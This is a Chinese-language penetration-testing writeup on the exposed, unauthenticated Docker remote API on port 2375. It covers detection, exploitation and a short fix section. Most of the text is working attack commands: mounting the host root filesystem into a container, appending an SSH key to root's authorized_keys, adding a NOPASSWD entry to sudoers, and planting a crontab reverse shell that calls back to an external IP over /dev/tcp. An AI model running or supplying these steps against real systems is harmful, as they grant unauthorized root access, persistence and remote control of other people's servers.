漏洞信息
-
(1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。
-
(2) 风险等级:高风险。
-
docker默认端口为2375
检测方法
-
先用 nmap 扫描查看端口开放情况。2375为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。
-
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker
sudo docker -H unix:///var/run/docker.sock -H 0.0.0.0:2375
-
或者直接用命令进行连接
docker -H tcp://192.168.168.131:2375 version
-
或者url访问:http://192.168.168.131:2375/version
漏洞利用
通过docker daemon api 执行docker命令
#列出容器信息,效果与docker ps一致。
curl http://<target>:2375/containers/json
#列出所有容器
docker -H tcp://<target>:2375 ps -a
#列出所有镜像
docker -H tcp://<target>:2375 images
1.写入ssh公钥
-
运行一个新容器,并且将该宿主机的根目录挂在到容器的/mnt目录下,启动之后就会获得docker容器的shell:
docker -H tcp://目标IP:2375 run -it -v /:/mnt <Image ID> /bin/bash
-
因为挂在的是宿主机的跟目录到容器的/mnt目录下,所以写入公钥如下:之后就可以用root账户直接登录了
echo '公钥内容' >>/mnt/root/.ssh/authorized_keys
-
如果写入root的authorized_keys仍需要密码登录,说明对方主机没有开启直接登录,那么可以考虑写入其他用户主机的authorized_keys文件里面。
-
先查看有哪些其他用户
cd /mnt/home/ //这个目录下的就是存在系统里面的用户
-
进入到存在的用户中的.ssh文件夹下,添加公钥
cd 用户名
echo '公钥内容' >>authorized_keys
-
并且写入后可以通过修改sudoers文件进行免密执行root权限
可以先查看文件内容
cat /mnt/etc/sudoers
因为容器内没有vi或者vim命令
则只能通过echo输入命令,如下内容格式要和上面查看的 原本的root那一行格式一样
echo '用户名 ALL=(ALL) NOPASSWD: ALL ' >>/mnt/etc/sudoers
2.在crontab里写定时任务,反弹shell
-
1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://<target>:2375 run -it -v /:/mnt <Image ID> /bin/bash //启动之后就会获得该容器宿主机的shell
-
2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/crontabs/root (ubuntu系统)或/var/spool/cron/root(centos系统):
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
-
3、本地监听端口,获取对方宿主机shell。
修复方法
-
(1) 使用 TLS 认证,使用生成的证书进行认证。
-
(2) 网络访问控制Network Access Control 设置ACL,只允许信任ip连接对应端口